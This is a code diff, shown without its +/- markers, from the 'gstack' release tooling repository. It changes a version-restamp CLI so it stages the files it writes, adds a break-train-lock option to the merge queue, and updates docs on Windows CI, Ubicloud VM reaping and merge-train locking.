* Runs gstack-version-bump write, the policy's release_tool, the CHANGELOG
* re-heading and the stamp_paths rewrites in an isolated staging worktree,
* shows the diff limited to stamp files, and writes the branch only after
* every stage validated (journal: .gstack/tmp/restamp-journal.json).
* Idempotent; --dry-run writes nothing. Workflow command: ends with the
* every stage validated (journal: .gstack/tmp/restamp-journal.json), then
* stages what it wrote (`git add -A -- <FILES>`, STAGED:), so a bare commit after
* a --no-commit base merge cannot drop the stamp (#3531). A stamp file holding
* unstaged edits of the caller's own refuses before anything is written
* (RESTAMP_UNSTAGED_EDITS); a staging failure leaves the files written and
* .gstack/tmp/restamp-staging.json, which the noop rerun stages, or drops when a
* file changed since (RESTAMP_NOT_STAGED). Idempotent; --dry-run writes nothing. Workflow command: ends with the
* GSTACK_RESULT line. Logic: lib/restamp.ts; policy: lib/ship-policy.ts.
*/
import { spawnSync } from 'node:child_process';
import * as fs from 'node:fs';
import * as path from 'node:path';
import { EXIT, exitTableHelp, formatResult } from '../lib/headless-artifacts';
import { GATE_AHEAD_REL, JOURNAL_REL, restamp, type RestampResult } from '../lib/restamp';
import { RESULT_CODES, type ResultCodeName } from '../lib/result-codes';
@@ -39,7 +46,7 @@ const HELP = `gstack-restamp — stamp the version, release tool, CHANGELOG and
--dry-run print the full diff, write nothing
--json JSON only on stdout
Prints STAMP_VERSION: <X>, the stage table, the stamp diff and
Prints STAMP_VERSION: <X>, the stage table, the stamp diff, STAGED: <files it staged> and
GSTACK_RESULT: skill=restamp status=complete|refused|incomplete run=${JOURNAL_REL}.
${exitTableHelp()}`;
@@ -48,6 +55,49 @@ function flag(args: string[], name: string): string | undefined {
return i >= 0 ? args[i + 1] : undefined;
}
const STAGING_REL = '.gstack/tmp/restamp-staging.json';
interface Pending { files: string[]; blobs: Record<string, string | null> }
interface Staging { staged?: string[]; dropped?: string[]; failure?: string }
const gitIn = (root: string, args: string[]) => spawnSync('git', args, { cwd: root, encoding: 'utf8', timeout: 60_000 });
/** Each file's blob sha in the worktree (one git call), null for a file that does not exist. */
function blobsOf(root: string, files: string[]): Record<string, string | null> {
const present = files.filter(f => fs.existsSync(path.join(root, f)));
const shas = present.length ? gitIn(root, ['hash-object', '--', ...present]).stdout.trim().split('\n') : [];
return Object.fromEntries(files.map(f => [f, present.includes(f) ? shas[present.indexOf(f)] ?? '' : null]));
}
function readPending(root: string): Pending | null {
try { return JSON.parse(fs.readFileSync(path.join(root, STAGING_REL), 'utf8')) as Pending; } catch { return null; }
}
/** Files with unstaged edits that are the caller's own (not bytes a pending restamp wrote and could not stage). */
function ownUnstaged(root: string): string[] {
const pending = readPending(root);
const unstaged = gitIn(root, ['diff', '--name-only', '-z']).stdout.split('\0').filter(Boolean);
const now = pending ? blobsOf(root, unstaged.filter(f => f in pending.blobs)) : {};
return unstaged.filter(f => !(pending && f in now && pending.blobs[f] === now[f]));
}
/**
* Stage what restamp wrote (`written`), or what a pending marker says is still unstaged; a marker file whose bytes
* changed since (a hand commit, another branch, a base merge) is stale for that file and dropped, never a failure.
* Null when there is nothing to stage.
*/
function stage(root: string, written: string[] | null): Staging | null {
const marker = path.join(root, STAGING_REL);
const pending = written ? { files: written, blobs: blobsOf(root, written) } : readPending(root);
if (!pending?.files.length) return null;
if (written) { fs.mkdirSync(path.dirname(marker), { recursive: true }); fs.writeFileSync(marker, JSON.stringify(pending, null, 2) + '\n'); }
const now = written ? pending.blobs : blobsOf(root, pending.files);
const dropped = pending.files.filter(f => now[f] !== pending.blobs[f]);
const files = pending.files.filter(f => !dropped.includes(f));
if (!files.length) { fs.rmSync(marker, { force: true }); return { staged: [], dropped }; }
const add = gitIn(root, ['add', '-A', '--', ...files]);
if (add.status !== 0) return { failure: `git add of ${files.join(' ')} failed (${(add.stderr || add.stdout).trim().split('\n')[0]}); the stamp stays written and ${STAGING_REL} names it` };
fs.rmSync(marker, { force: true });
return { staged: gitIn(root, ['diff', '--cached', '--name-only', '-z', '--', ...files]).stdout.split('\0').filter(Boolean), dropped };
}
function main(argv: string[]): number {
if (argv.includes('--help') || argv.includes('-h')) { process.stdout.write(HELP + '\n'); return EXIT.ok; }
const json = argv.includes('--json');
@@ -65,23 +115,32 @@ function main(argv: string[]): number {
const after = flag(argv, '--after');
const base = resolveBaseBranch(repoRoot, flag(argv, '--base'));
const result = restamp({
const options = {
repoRoot, base, version: flag(argv, '--version'), next: argv.includes('--next'), bump, queueMode,
after: after ? { pr: after, ref: flag(argv, '--predecessor-ref') } : undefined, pr: flag(argv, '--pr'),
expectBase: flag(argv, '--expect-base'), was: flag(argv, '--was'), expectOrder: flag(argv, '--expect-order')?.split(',').map(s => s.trim()).filter(Boolean),
policyFrom, allowRepoCommands: argv.includes('--allow-repo-commands'), dryRun: argv.includes('--dry-run'),
failAfter: process.env.GSTACK_RESTAMP_FAIL_AFTER,
});
return report(result, json);
};
const writes = !after && !options.dryRun;
const own = writes ? ownUnstaged(repoRoot) : [];
const dry = own.length ? restamp({ ...options, dryRun: true }) : null;
if (dry && (dry.status === 'refused' || dry.status === 'failed')) return report(dry, json);
const clash = (dry?.files ?? []).filter(f => own.includes(f));
if (clash.length) return report({ status: 'refused', code: 'RESTAMP_UNSTAGED_EDITS', message: `${clash.join(', ')} ${clash.length === 1 ? 'holds' : 'hold'} unstaged edits of your own, which staging the stamp would sweep into the stamp commit; nothing written`, stages: [] }, json);
const result = restamp(options);
const staging = writes && (result.status === 'stamped' || result.status === 'noop') ? stage(repoRoot, result.status === 'stamped' ? result.files ?? [] : null) : null;
return report(result, json, staging);
}
function report(r: RestampResult, json: boolean): number {
const status = r.status === 'refused' ? 'refused' : r.status === 'failed' ? 'incomplete' : 'complete';
const code = r.status === 'refused' ? EXIT.refused : r.status === 'failed' ? EXIT.fail : EXIT.ok;
function report(r: RestampResult, json: boolean, staging: Staging | null = null): number {
const status = r.status === 'refused' ? 'refused' : r.status === 'failed' || staging?.failure ? 'incomplete' : 'complete';
const code = r.status === 'refused' ? EXIT.refused : r.status === 'failed' || staging?.failure ? EXIT.fail : EXIT.ok;
if (json) {
process.stdout.write(JSON.stringify({ ...r, result: status }) + '\n');
process.stdout.write(JSON.stringify({ ...r, ...(staging ?? {}), ...(staging?.failure && !r.code ? { code: 'RESTAMP_NOT_STAGED' } : {}), result: status }) + '\n');
return code;
}
if (staging?.failure) process.stderr.write(`gstack-restamp: ${staging.failure}; fix: ${RESULT_CODES.RESTAMP_NOT_STAGED.fix} (RESTAMP_NOT_STAGED)\n`);
if (r.code) {
const row = RESULT_CODES[r.code as ResultCodeName];
process.stderr.write(`gstack-restamp: ${r.message}; fix: ${r.fix ?? row.fix} (${r.code})\n`);
@@ -95,6 +154,8 @@ function report(r: RestampResult, json: boolean): number {
if (r.gateAhead) process.stdout.write(`GATE_AHEAD: head=${r.gateAhead.gated_head} tree=${r.gateAhead.gated_tree} predecessor=#${r.gateAhead.predecessor_pr}@${r.gateAhead.predecessor_head.slice(0, 12)} worktree=${r.gateAhead.worktree} evidence_branch=${r.gateAhead.evidence_branch_key}\n`);
if (r.diff) process.stdout.write(r.diff + (r.diff.endsWith('\n') ? '' : '\n'));
process.stdout.write(`FILES: ${(r.files ?? []).join(' ') || '(none)'}\n`);
if (staging?.staged) process.stdout.write(`STAGED: ${staging.staged.join(' ') || '(none)'}\n`);
if (staging?.dropped?.length) process.stdout.write(`NOTE: ${staging.dropped.join(' ')} changed since an earlier restamp wrote ${staging.dropped.length === 1 ? 'it' : 'them'}; not staged, and that run's staging marker is dropped\n`);
if (r.mergeCondition) process.stdout.write(`MERGE_CONDITION: sha=${r.mergeCondition}\n`);
if (r.status === 'gate-ahead' && r.gateAhead) process.stdout.write(`next: run the verification gate in ${r.gateAhead.worktree}, then \`gstack-evidence bundle --out <file>\` there; the branch is untouched. At this PR's turn rerun \`gstack-restamp --next\` here and read \`gstack-tree-receipt --from ${GATE_AHEAD_REL}\` before deciding what to rerun.\n`);
else if ((r.status === 'stamped' || r.status === 'noop') && r.queueMode === 'stamp-at-merge') process.stdout.write(`next: NEW_VERSION=${r.newVersion}; commit and push only the stamp diff above (FILES), with no edit of your own: the train's verify accepts the CHANGELOG only as the base's plus this PR's entry re-headed; merge with the expected head ${r.mergeCondition ?? 'sha'} and recompute on a stale queue.\n`);
+3 -3
View File
@@ -14,7 +14,7 @@
* gstack-ship-queue gate-ahead --list --pr <n>
* gstack-ship-queue verify --pr <n> --screen (train policy: the head's screen verdict from its run)
* gstack-ship-queue verify --post-merge <sha> [--timeout <s>] (after a merge: main's push workflows at that commit until they settle)
* gstack-ship-queue land --pr <n> [--dry-run] [--no-wait] [--break-lock] (the merge step; lib/ship-queue-land.ts)
* gstack-ship-queue land --pr <n> [--dry-run] [--no-wait] [--break-lock [--break-train-lock]] (the merge step; lib/ship-queue-land.ts)
* gstack-ship-queue land --pr <n> --repair (after QUEUE_LAND_DRIFT: open the outside merge's release PR)
* gstack-ship-queue land --census
* gstack-ship-queue train build|status|verdict|bisect|rebuild|watch|prune ... (merge trains; train --help)
@@ -57,7 +57,7 @@ const HELP = `gstack-ship-queue — the shared merge queue's protocol steps (doc
verify --pr <n> --screen (train policy) the PR head's screen verdict read from its run (SCREEN_VERDICT)
verify --post-merge <sha> [--timeout <s>] wait for every check run at a merged commit to settle: POST_MERGE: green|red|pending
and one CHECK: line per workflow; resumable, default timeout 2700 s
land --pr <n> [--dry-run] [--no-wait] [--timeout <min>] [--break-lock] [--allow-repo-commands]
land --pr <n> [--dry-run] [--no-wait] [--timeout <min>] [--break-lock [--break-train-lock]] [--allow-repo-commands]
the merge step: lock, merge the base, stamp (fragments folded), push the stamp commit,
wait for its checks, squash with --match-head-commit, confirm the base tree; resumable
land --pr <n> --repair after QUEUE_LAND_DRIFT: open the PR that gives the merge outside land its own
@@ -172,7 +172,7 @@ async function main(argv: string[]): Promise<number> {
if (args.includes('--census')) return finish('land', l.census(ctx));
if (!pr || !/^\d+$/.test(pr)) return usage('land needs --pr <number> (or --census)');
const timeout = flag(args, '--timeout');
return finish('land', l.land(ctx, { pr, repair: args.includes('--repair'), dryRun: args.includes('--dry-run'), noWait: args.includes('--no-wait'), breakLock: args.includes('--break-lock'), allowRepoCommands: args.includes('--allow-repo-commands'), waitTimeoutMin: timeout && /^\d+$/.test(timeout) ? Number(timeout) : undefined }));
return finish('land', l.land(ctx, { pr, repair: args.includes('--repair'), dryRun: args.includes('--dry-run'), noWait: args.includes('--no-wait'), breakLock: args.includes('--break-lock'), breakTrainLock: args.includes('--break-train-lock'), allowRepoCommands: args.includes('--allow-repo-commands'), waitTimeoutMin: timeout && /^\d+$/.test(timeout) ? Number(timeout) : undefined }));
}
if (!pr || !/^\d+$/.test(pr)) return usage(`${cmd} needs --pr <number>`);
const gateExit = flag(args, '--gate-exit');
+2 -1
View File
@@ -37,6 +37,7 @@ import * as path from 'node:path';
import { EXIT, exitTableHelp, type ShipReceipt } from '../lib/headless-artifacts';
import { resultLine, resultLineWithDocs } from '../lib/result-codes';
import { versionAtRef } from '../lib/restamp';
import { runScriptSync } from '../lib/script-invocation';
import { readPregateFile, verifyPregate } from '../lib/pregate/index';
import { isUnavailable, loadPolicyFromBase, matchesAny, policyUnavailableLine, resolveBaseBranch, runningGstackVersion, stampFilesInTree, validatePolicy, type ShipPolicy } from '../lib/ship-policy';
import { approvalForReceipt } from '../lib/approval-citations';
@@ -179,7 +180,7 @@ function cmdWrite(rest: string[], json: boolean): number {
const tree = receiptFile ? JSON.parse(fs.readFileSync(receiptFile, 'utf8')) : null;
let sessionKind = flag(rest, '--session-kind') ?? process.env.GSTACK_SESSION_KIND;
if (!sessionKind) {
const r = spawnSync(path.join(path.dirname(Bun.fileURLToPath(import.meta.url)), 'gstack-session-kind'), [], { encoding: 'utf8', timeout: 15_000 });
const r = runScriptSync(path.join(path.dirname(Bun.fileURLToPath(import.meta.url)), 'gstack-session-kind'), [], { encoding: 'utf8', timeout: 15_000 });
sessionKind = r.status === 0 ? r.stdout.trim() || undefined : undefined;
}
let pregate: PregateField | undefined;
+6 -4
View File
@@ -12,10 +12,12 @@ Run: gstack-restamp --next --base <BASE> --pr <n> --expect-base <sha> --expect-o
Slot 2 and later (and slot 1 when BASE moved): merge BASE into your pin first (expect a
CHANGELOG-only conflict; resolve it with mergeChangelogs from lib/changelog-check.ts, the
one-liner in docs/ship-policy.md's merge-train section, never by hand; grep for conflict
markers before you stamp). Commit only the BASE merge and the stamp files this call names:
<STAMP_FILES> (plus the file carrying a `*_KEY_VERSION` your PR introduced, on your own
line only, when this call names it), never a fifth: a file the restamp lists that this call
does not name is not a stamp, leave it out and say so.
markers before you stamp). The restamp stages what it writes (STAGED:); commit what it
staged, which must be only the BASE merge and the stamp files this call names: <STAMP_FILES>
(plus the file carrying a `*_KEY_VERSION` your PR introduced, on your own line only, when this
call names it), never a fifth: a file the call does not name is not a stamp, `git restore
--staged --worktree` it and say so. verify reads the head's own STAMP_VERSION and refuses an unstamped
head (QUEUE_TRAIN_UNSTAMPED).
A pin stacked on a PR that merged earlier conflicts beyond the CHANGELOG where the parent's
squash touched your lines: take your pin's bytes there (verify checks the tree against
T<i>); mergeChangelogs carries your edits to the parent's released entry as Gate integrity
+1 -1
View File
@@ -46,7 +46,7 @@ Capy checklist for `/autoplan`: drive `gstack-autoplan`, never a hand adaptation
Token caps on /ship: pass a brief's cap as `--token-cap <n>`. /ship reads `cost.tokens` and `cost.credits` from `tools.thread.get({ thread_id: "<your own jam id>" })` (its own jam; a subagent reading root `"this"` starts `--subagent --reading-from this --meter-scope tree`) inside the same execute program as the `gstack-ship-budget` command that takes them as `--reading <n> --credits <c>`, never alone. `ship/DRIVER.md` starts `--mode observe`: each program ends with `note`, and only a note past the cap stops (`docs/ship-budget.md`).
/ship on Capy is about a dozen calls, each one execute program (`ship/DRIVER.md`). Each review pass and Step 11 is one call to the checked-in pass program (fill only `input`): `const t0 = await now(); const p = (await tools.capy.bash({ command: ". '<launch file>' && gstack-review-dispatch program", description: "Pass" })).output.split("\n"); return p[0] + "\n" + (await new (Object.getPrototypeOf(async () => {}).constructor)("tools", "sleep", "now", "input", JSON.parse(p[1]))(tools, sleep, now, { startedAt: t0, launch: "<launch file>", cwd: "<repo>", base: "<base>", out: "<run dir>/p<n>", pass: "<run>-p<n>", laneModel: "<your model id>", planFlags: [], logStart: ["review"], jam: "<jam id>", record: "<rec>", step: "9.2" }));` It plans, logs `logStart` (`reservation` mode from `RESERVATION_ID:`), sends each brief on `machine: "shared"`, then polls: one `tools.subagent.list` per ~20 s tick, returning 200 s after the program's first line, where a reader is settled only at status `done` or `failed` or with a `summary` (a just-created `idle` reader has not run); it starts readers under `rejected` with `tools.subagent.start` as slots free and stops on one stuck 20 minutes. It ends on `NEXT:` (`poll`: rerun) or `STOP:`. `models` maps roles to models (`outside-voice`: another family); Step 11 adds `stage: "voices"`; a full repeat pass, `diffBase: "<RANGE_BASE>"`. Steps 7, 8, 9.2.1 and 14.5 (`step: "14.5"`) use `extras`, JSON `{name, prompt_file, first, model}` (prompts verbatim from their sections, Step 7 `first`); they cannot block, so `model: { model_id: "anthropic/claude-sonnet-5-5", reasoning_mode: "low" }` (`anthropic/claude-haiku-5-5` also fits). Waits: never let 5 minutes pass between calls. While readers run, never end the turn on `wait`; rerun the loader. Otherwise re-issue `wait` with `duration_seconds: 200` and operation ids. At Step 22 report the `CALLS:` line of `gstack-ship-budget calls --events <file>` on your jam's transcript since /ship began. A small waiting child saves nothing.
/ship on Capy is about a dozen calls, each one execute program (`ship/DRIVER.md`). Each review pass and Step 11 is one call to the checked-in pass program (fill only `input`): `const t0 = await now(); const p = (await tools.capy.bash({ command: ". '<launch file>' && gstack-review-dispatch program", description: "Pass" })).output.split("\n"); return p[0] + "\n" + (await new (Object.getPrototypeOf(async () => {}).constructor)("tools", "sleep", "now", "input", JSON.parse(p[1]))(tools, sleep, now, { startedAt: t0, launch: "<launch file>", cwd: "<repo>", base: "<base>", out: "<run dir>/p<n>", pass: "<run>-p<n>", laneModel: "<your model id>", planFlags: [], logStart: ["review"], jam: "<jam id>", record: "<rec>", step: "9.2" }));` It plans, logs `logStart` (`reservation` mode from `RESERVATION_ID:`), sends each brief on `machine: "shared"`, then polls: one `tools.subagent.list` per ~20 s tick, returning 200 s after the program's first line, where a reader is settled only at status `done` or `failed` or with a `summary` (a just-created `idle` reader has not run); it starts readers under `rejected` with `tools.subagent.start` as slots free and stops on one stuck 20 minutes. It ends on `NEXT:` (`poll`: rerun) or `STOP:`. `models` maps roles to models (`outside-voice`: another family); Step 11 adds `stage: "voices"`; a full repeat pass, `diffBase: "<RANGE_BASE>"`. Steps 7, 8 and 14.5 (`step: "14.5"`) use `extras`, JSON `{name, prompt_file, first, model}` (prompts verbatim from their sections, Step 7 `first`); they cannot block, so `model: { model_id: "anthropic/claude-sonnet-5-5", reasoning_mode: "low" }` (`anthropic/claude-haiku-5-5` also fits). Waits: never let 5 minutes pass between calls. While readers run, never end the turn on `wait`; rerun the loader. Otherwise re-issue `wait` with `duration_seconds: 200` and operation ids. At Step 22 report the `CALLS:` line of `gstack-ship-budget calls --events <file>` on your jam's transcript since /ship began. A small waiting child saves nothing.
## Plan, approve, ship
-9
View File
@@ -1,9 +0,0 @@
**A parent agent can now run the CEO-only review through the driver: `gstack-autoplan next --ceo-only` (GST-537).** `/autoplan --ceo-only` only worked inside a Claude Code session, so a crew or eval harness driving `gstack-autoplan` from another host had to run the whole review and stop at the approval gate. Now the same review-only run works from the driver on any host.
### Added
- **`gstack-autoplan next --ceo-only`** (first `next` only): opens the CEO phase alone. When it closes, the run prints `REVIEWED:`, writes `<dir>/ceo-review.md` with the same sections as the skill path (hashed in `run.json`), and ends `GSTACK_RESULT: skill=autoplan status=reviewed run=<dir>`. It writes no gate, never edits the plan and never approves anything.
- **Decision rows with status `auto_kept`**: each item a gate would have asked is recorded as kind `auto`, the plan's direction kept, with no answer time. An item only the owner can accept (a Critical finding left open when CEO closed deferred) is left undecided, with no chosen option, and the report lists it as left open for the owner. Tasks in a CEO-only run wait on no decision. `run.json` now accepts `reviewed`, and `gstack-artifact validate` passes a finished CEO-only run.
- **Coded refusals**: `--ceo-only` beside `--ui`, `--developer-tool` or `--agent-primary` (on the command line or in the plan's scope marker), a scope marker that names `--ceo-only`, or a plan that is the report file `<dir>/ceo-review.md` (directly, through a symlink or a hard link) refuses with `CEO_ONLY_CONFLICT`, so the report never overwrites the plan; on a directory that holds a full run, `CEO_ONLY_AFTER_INIT`. `answer`, `recommend`, `revise` and `gstack-approvals import` refuse a CEO-only run with `CEO_ONLY_NO_GATE`. A CEO-only run stopped by `--spend-cap` recovers the usual way: `budget` then `resume`, or `close --deferred`, which ends it `reviewed`.
### Fixed
- `gstack-approvals import --autoplan` no longer imports from a run whose `run.json` is present but not valid JSON; it refuses with `ARTIFACT_INVALID_JSON` instead of guessing the run's identity.
+16 -9
View File
@@ -1002,7 +1002,7 @@ with `UBICLOUD: left=<0|1|unknown> owner=<o> vm=<name> others=<n>`, checked
against the project's VM list after teardown; anything but `left=0` turns a
passing command into exit 1. pregate-remote.sh reads that line from the file
named by `UBI_LEFT_FILE`, never from the command's output. No owner-age sweep runs by default (the TTL reaper
below covers every owner); set
below covers this owner's expired VMs); set
`UBI_GC_HOURS` to a positive number (or run `gc HOURS`; `gc 0` is a no-op) to
sweep only this owner's VMs older than that. For other commands, use the runner
directly: `scripts/ubicloud/ubi-runner.sh run --setup <script> -- '<command>'`,
@@ -1011,12 +1011,12 @@ or its `up` / `ssh` / `sync` / `pull` / `down` steps (`--help` lists them).
The runner is also the `/ubicloud` skill's engine (`bin/gstack-ubi` execs it).
A generated name ends in `-t<hours>` (`UBI_TTL_HOURS`, 1-999, default 3; pregate-remote.sh
uses its stop deadline plus 15 minutes, rounded up: `-t1` today), the creator's own statement of how long the VM may live: `reap`
destroys every VM in the project whose TTL ended more than ten minutes ago,
whichever owner made it, and the caller's own `ubirun-<UBI_OWNER>-*` names
without a TTL (older runner copies) once they are `UBI_LEGACY_HOURS` old
(default 4). Another owner's TTL-less VM and an untagged one are never reaped,
because only a TTL lets reap judge another lane's VM. Every `up` runs it
first (`UBI_REAP=0` skips it). Names outside the `ubirun-` prefix are never reaped. The
destroys only the caller's own VMs: its `ubirun-<UBI_OWNER>-*` names whose TTL
ended more than ten minutes ago, and those without a TTL (older runner copies)
once they are `UBI_LEGACY_HOURS` old (default 4). Another owner's VM and an
untagged one are never reaped, even after their TTL ends; reap only counts them
in its log, because cloud deletes stay with the owner that created the VM
(GST-573). Every `up` runs it first (`UBI_REAP=0` skips it). Names outside the `ubirun-` prefix are never reaped. The
quota preflight adds the size's vCPUs to the project's running VMs and refuses
before the create request when that exceeds the known ceiling
(`UBI_QUOTA_VCPUS`, or the maximum the last refusal printed, remembered in the
@@ -1070,7 +1070,7 @@ machine swap, in this order:
one side local and the other remote.
4. Profiling very large imports (a whole-repo ingest, the full free suite under
a profiler) is warned about before it starts: it holds the VM for hours, and
any other lane's `up` reaps it once its TTL (`UBI_TTL_HOURS`, default 3)
the same owner's next `up` or `reap` destroys it once its TTL (`UBI_TTL_HOURS`, default 3)
plus ten minutes has passed, so set `UBI_TTL_HOURS` above the expected
duration and name that duration in the thread before launching.
@@ -1547,7 +1547,7 @@ refresh to a maintainer.
(`ubicloud-standard-4`); both are Ubicloud standard runners. When either recording adds
or drops a test file, it force-updates the `bot/free-duration-seeds` branch,
opens or refreshes one seed PR whose body states the ratchet result, and
dispatches Free Tests, Windows Free Tests and Quality gate on it. Those
dispatches Free Tests, Windows Smoke and Quality gate on it. Those
dispatched runs are the seed PR's checks, and Free Tests supplies the required
`free-tests` check. GitHub holds the pull_request runs of a token-opened PR as
"action required" until someone approves them. A file that fails while recording turns its
@@ -1561,6 +1561,13 @@ refresh to a maintainer.
### Windows free lane
Windows has minimal support ([support tiers](support-tiers.md)). The required
PR check is `windows-smoke.yml`: one `windows-latest` job runs `./setup`, starts
the core skills, drives `/browse` on gstack's own browser, and runs the short
test list in its last step, where each file's reason sits beside it.
`test/windows-native-workflows.test.ts` keeps that list Windows-safe and fast.
The curated suite below runs nightly on main and on dispatch, never on a PR.
`windows-free-tests.yml` plans on Linux (`--windows-only --ci-plan --shards 6`),
runs one strict serial shard per `windows-latest` job
(`bun run test:windows --ci-run`), and verifies every shard receipt on Linux
+3 -2
View File
@@ -317,8 +317,9 @@ stamp on the bare pin leaves the PR conflicting on the CHANGELOG. The lane merge
into its pin first (expect a CHANGELOG-only conflict; resolve it with `mergeChangelogs`
from `lib/changelog-check.ts`, the `bun -e` one-liner in
[ship-policy.md](ship-policy.md#run-a-merge-train), never by hand, and grep for conflict
markers before stamping), then restamps, then commits only the merge and the stamp
files. In practice slot 1 needs the same merge whenever the base moved after the pin was
markers before stamping), then restamps (the restamp stages the stamp files it wrote,
so a plain `git commit` after a `--no-commit` merge keeps them), then commits only the
merge and the stamp files. In practice slot 1 needs the same merge whenever the base moved after the pin was
taken. A stamp commit with one extra byte freezes the queue for every
lane behind it.
+3 -1
View File
@@ -848,7 +848,9 @@ path records and uploads `tested-tree`, after its verification passes, so a
red, partial or reused run never leaves a record and a reuse is never reused.
The pull request lookup needs no `pull-requests` permission on a public
repository; a private fork of this setup would need `pull-requests: read`,
and without it every push falls back to the full run.
and without it every push falls back to the full run. Windows Free Tests now
runs nightly and by hand only (docs/support-tiers.md), never on a push, so its
`reuse` job is always skipped and every nightly run takes the strict path.
<a id="guards"></a>
## Guards and the lane-done rule
+3 -2
View File
@@ -545,8 +545,9 @@ ones, and the arm lost blockers. `bin/gstack-review-dispatch` closes both ends:
prompts prints `VERIFY: no brief records` (exit 3), never clean.
6. `pass --base <b> --out <dir> --pass <id> -- <plan flags>` runs one pass from a
staged manifest (`<dir>/pass-manifest.json`): audit readers marked first, then
the specialists with QA and the other audits, then the Red Team, then Step 11's
voices. Each reviewer keeps its plan entry and is rendered by the same code as
the specialists with the other audit readers, then the Red Team, then Step 11's
voices. A QA extra is refused before any reader is created: Step 9.2.1's probes
are the parent's. Each reviewer keeps its plan entry and is rendered by the same code as
`render`, once its inputs exist; the Red Team's findings file is the specialists'
`merged.jsonl` lines byte for byte. A brief leaves the bin in indexed chunks of at
most 65,536 characters (`chunk`), so no tool output line carries a whole brief and a
+59 -17
View File
@@ -92,7 +92,7 @@ hard-code:
"changelog": "CHANGELOG.md",
"history": "squash-ok",
"stamp_sensitive_gates": ["tests"],
"changelog_fragments": { "dir": "changelog.d", "required_checks": ["free-tests", "windows-free-tests", "Check VERSION is not stale vs queue", "quality", "check-freshness", "actionlint"] },
"changelog_fragments": { "dir": "changelog.d", "required_checks": ["free-tests", "windows-smoke", "Check VERSION is not stale vs queue", "quality", "check-freshness", "actionlint"] },
"min_gstack_version": "1.91.340.0"
}
```
@@ -210,16 +210,18 @@ READY PR as conflicting each time main stamps; the train merges the CHANGELOG
by section, so the lane never merges main for it. The conflict does mean GitHub
has no merge ref for the PR, so no `pull_request` CI runs on the head and
`ready` prints `ci: none at <head12>` with a `ci-hint:` line. The lane then
runs `ready … --dispatch-ci free-tests.yml,windows-free-tests.yml [--timeout
runs `ready … --dispatch-ci free-tests.yml,windows-smoke.yml [--timeout
<s>]` (under a train policy): it dispatches each named workflow on the branch
(`gh workflow run <wf> --ref <branch>`, skipped when a run at this head already
concluded), waits for the runs (`CI_DISPATCH: <wf> --ref <branch> run <id> <url>
<conclusion>`), clears every requires-remote pregate lane whose workflow is one
of them with the run URL (`PREGATE_CLEARED: <lane> <url>`; a lane of another
workflow stays uncleared and is named in the refusal), and then reads the head
as usual, which passes because the dispatched check runs attach to the commit;
the `ci-hint:` line then says those non-pull_request runs count. A red run
clears no lane and refuses (`QUEUE_NOT_READY`); a run still going at `--timeout`
concluded, and skipped with a note when the base has the workflow file but the
branch predates it, since GitHub reads the file from the branch), waits for the
runs (`CI_DISPATCH: <wf> --ref <branch> run <id> <url> <conclusion>`), clears
every requires-remote pregate lane whose workflow is one of them with the run
URL (`PREGATE_CLEARED: <lane> <url>`; a lane of another workflow stays
uncleared and is named in the refusal), and then reads the head as usual,
which passes because the dispatched check runs attach to the commit; the
`ci-hint:` line then says those non-pull_request runs count. A red run clears
no lane and refuses (`QUEUE_NOT_READY`); a run still going at `--timeout`
(default 2700 s) is `QUEUE_TRAIN_PENDING`, and rerunning the command keeps
waiting; a fork head is never dispatched here (`QUEUE_TRAIN_UNTRUSTED`). By hand the same four steps are `gh workflow
run <wf> --ref <branch>`, wait, `gstack-pregate clear --remote <lane> --run-url
@@ -399,6 +401,28 @@ release paths (version files, CHANGELOG, fragments, `release_outputs`,
train head and branch are S_k, and the one full gate runs on S_k, the exact
tree the last merge publishes.
**One land lock.** `train land` takes the same repository land lock as
[`land`](#land), `refs/notes/gstack-land`, as `train <nonce> slot <i> (#<pr>)`,
before its first read of main, so a standalone land and a train slot never
both publish onto one main: whichever starts second refuses with
`QUEUE_LAND_LOCKED`, naming the holder. Once a slot has merged, the train keeps
the lock in phase `between`, which only the same train's next slot takes over,
until its last landable slot lands; a refusal before a later slot's push (a
failed `gh` or `git fetch` read, say) keeps it too, so no standalone land slips
in while the train waits on a rerun. Before any slot merged, a refusal before
the push releases it. After a push, a failure keeps the lock in its phase and a
rerun of the same slot takes it back. A stop that freezes the queue
leaves the lock in phase `freeze`, which `--break-lock` never breaks: only the
repair train the freeze admits takes it over, and it is released when that
train clears the freeze. `--break-lock` prints the holder (`LOCK_HOLDER:`),
keeps land's staleness, mid-push and drift rules, refuses a `between` lock
younger than 10 minutes, and refuses a live train run's lock unless
`--break-train-lock` is also given. `train watch --land` goes through `train
land`, so it stops with `NEXT:` on `QUEUE_LAND_LOCKED` like any refusal. A train
`train land` refuses (one built without stamped prefixes or a gate) still merges
through `verify --train` and `gh pr merge`, which neither take nor check this
lock.
Slots merge with `train land --train <nonce> --pr <n>`, never a slot call:
1. The record must be the gated head's own chain. Walking first parents from
@@ -849,8 +873,8 @@ git fetch origin main
git merge --no-ff --no-commit origin/main # expect a CHANGELOG.md conflict only
bun --no-env-file --config=/dev/null -e "import { mergeChangelogsWithNotes } from './lib/changelog-check'; import { spawnSync } from 'node:child_process'; import { writeFileSync } from 'node:fs'; const s = (n) => spawnSync('git', ['show', ':' + n + ':CHANGELOG.md'], { encoding: 'utf8', maxBuffer: 1 << 26, timeout: 30000 }).stdout; const m = mergeChangelogsWithNotes(s(2), s(3), s(1)); for (const n of m.notes) console.error('CHANGELOG: carried as a Gate integrity correction: ' + n); if (!m.text) { console.error('CHANGELOG needs a hand merge'); process.exit(1); } writeFileSync('CHANGELOG.md', m.text);"
git add CHANGELOG.md && git commit --no-edit
gstack-restamp --next --base main --pr 42 --expect-base <main sha> --expect-order <order> --allow-repo-commands
git add CHANGELOG.md VERSION package.json <release outputs> && git commit -m "v<X> stamp" && git push
gstack-restamp --next --base main --pr 42 --expect-base <main sha> --expect-order <order> --allow-repo-commands # stages what it writes (STAGED:)
git commit -m "v<X> stamp" && git push
```
A conflict in any file other than CHANGELOG.md means the merge isn't the train's prefix. Stop and report it. When the helper says the CHANGELOG needs a hand merge, take main's CHANGELOG unchanged and put your own entry above it. `verify` accepts the resulting head because it contains main and its tree equals T<i> modulo stamps, with its CHANGELOG judged as main's plus lines your pin added, however the conflict was resolved; the `head:` line says "T<i> with main merged in".
@@ -863,8 +887,12 @@ introduced). A line the base added since the pin's fork point is the base's,
whether the base merge is committed or still staged (`stage stamp_paths` says
"N line(s) the base added since the fork point are the base's"; train 24,
2026-10-27, moved main's `DOCS_CAPS_KEY_VERSION` in both slots before this
rule). A file the restamp lists that the slot call did not name is not a stamp:
leave it out and report it. The tree receipt refuses such a move after the fact
